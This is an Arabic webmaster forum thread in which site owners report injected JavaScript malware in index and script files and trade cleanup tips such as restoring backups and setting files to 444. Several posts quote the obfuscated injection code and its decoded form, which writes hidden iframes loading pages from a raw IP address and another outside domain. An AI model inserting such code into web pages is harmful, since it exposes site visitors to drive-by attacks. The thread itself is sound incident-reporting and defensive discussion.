برمجية خبيثه بالجافا اسكربت في الموقع

[AL_7waaam_uae]

والله انها مصيبه
:con2:
انا كنت بحذف الملافات

:deal:
بس جربت طريقة Backup

اضمنها لكم 100%

بس يكون الباك
نظيف
يعني من النسخ اللي اخذتها
وانت عارف انها
سليمه

ملاحــــظه مهمه
:court:
جهازك سوله فــــورمات أولاً

بعدين اتبع طريقة الباك اب

انا جربت ونجح العمليه

[شبكة التواصل]

شلون باك اب للموقع تقصد

[نعمان]

إلى الآن لم أجد أي حل شافي .. وشركة cPanel تتهرب من المشكلة ...

[Hazem Noor]

انا لاقيت كل ملفات اللي اسمها index, main, default, home و أحياناً login بجميع الإمتدادات الكود مضاف فيها

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475cfbb5ee60f(v475cfbb5eea25){  return(parseInt(v475cfbb5eea25,16));}function v475cfbb5ef615(v475cfbb5efa11){ function v475cfbb5f0606 () {return 2;} var v475cfbb5efe0d='';for(v475cfbb5f020c=0; v475cfbb5f020c<v475cfbb5efa11.length; v475cfbb5f020c+=v475cfbb5f0606()){ v475cfbb5efe0d+=(String.fromCharCode(v475cfbb5ee60f(v475cfbb5efa11.substr(v475cfbb5f020c, v475cfbb5f0606()))));}return v475cfbb5efe0d;} document.write(v475cfbb5ef615('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D35393964306433207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313332383232292B2730333937365C272077696474683D343731206865696768743D323832207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> 

و الكود بعد فك تشفيره

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><SCRIPT>windows.status='Done';document.write('<iframe name=559d0d3 src=\'http://77.221.133.188/.if/go.html?'+Math.round(Math.random()*132822)+'03976\' width=471 height=282 style='display: none\'></iframe>')</SCRIPT> 

الكود يضاف في المسارات التالية فقط
www/index.html
www/folder1/index.html
www/fodler2/index.html
www/.../index.html

و لا يضاف في المجلدات الداخلية مثل
www/folder1/folder_inside_folder1


لا أعتقد أنا المشكلة من الـ Cpanel أو من ثغرة بأي سكريبت

لأني وجدت موقع كله صفحات html بالكامل مصاب و لوحة التحكم له مش CPanel يعني المشكلة مش مشكلة Cpanel

ده حل موقت بس أكيد 100%

1. ننظف كل الملفات المصابة يدوي
2. علشان نمنع الكود إنه ينضاف تاني نرخص كل ملفات الموقع ترخيص 444 و ده لمنع الكتابة عليها
   و لو عاوز تعدل حاجة غير الترخيص مثلاُ لـ 644 و رجعه تاني لـ 444
   في بعض السيرفرات الترخيص 444 مش شغال من الـ FTP روح للـ CPanel و غير الترخيص منها

الطريقة اشتغلت معاية تمام

و يارب يبق فيه حل جذري للمشكلة دي

[Hazem Noor]

كود جديد كمان لسة طازة

document.write('<div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/dx/" width=100 height=80></iframe></div><div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/dx/" width=100 height=80></iframe></div>'); 

بينضاف في ملفات الجافا سكريبت

بكده هانضطر لتغيير كافة تراخيص ملفات الموقع لـ 444

[Downloadiz2.com]

انا موقعى -- DoWnLoAdiZ2.CoM شبكة داونلودز2 -- مصاب بهذا الكود

</HTML><iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v479106ca793fb(v479106ca797f5){ function v479106ca79bf1 () {var v479106ca79fed=16; return v479106ca79fed;} return(parseInt(v479106ca797f5,v479106ca79bf1()));}function v479106ca7a3eb(v479106ca7a7e6){ var v479106ca7abe2='';for(v479106ca7aff5=0; v479106ca7aff5<v479106ca7a7e6.length; v479106ca7aff5+=2){ v479106ca7abe2+=(String.fromCharCode(v479106ca793fb(v479106ca7a7e6.substr(v479106ca7aff5, 2))));}return v479106ca7abe2;} document.write(v479106ca7a3eb('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D6 56E742E777269746528273C696672616D65206E616D653D38373636356465323039207372633D5C27687474703A2F2F37372 E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D282 92A373835292B2765315C272077696474683D313537206865696768743D35207374796C653D5C27646973706C61793A206E6 F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

فما الحل يا اخوان ارجو الرد سريعآ ؟؟؟

[اكوي]

صارت لي

وحاولت اعدل الاندكس مااقدر الكاسبر مانعني!


نزلت الملفات وفتحتهم بالسيف مود

وشلت الاكواد الخبيثة

عبر فصفصة الهيد والفوتر عن طريق النوت باد ,,,

وانحلت

[اللهوب]

الحل تصريح الملفات من السي بنل وليس الإف تي بيالى 444

صارت لي المشكله أكثر من مره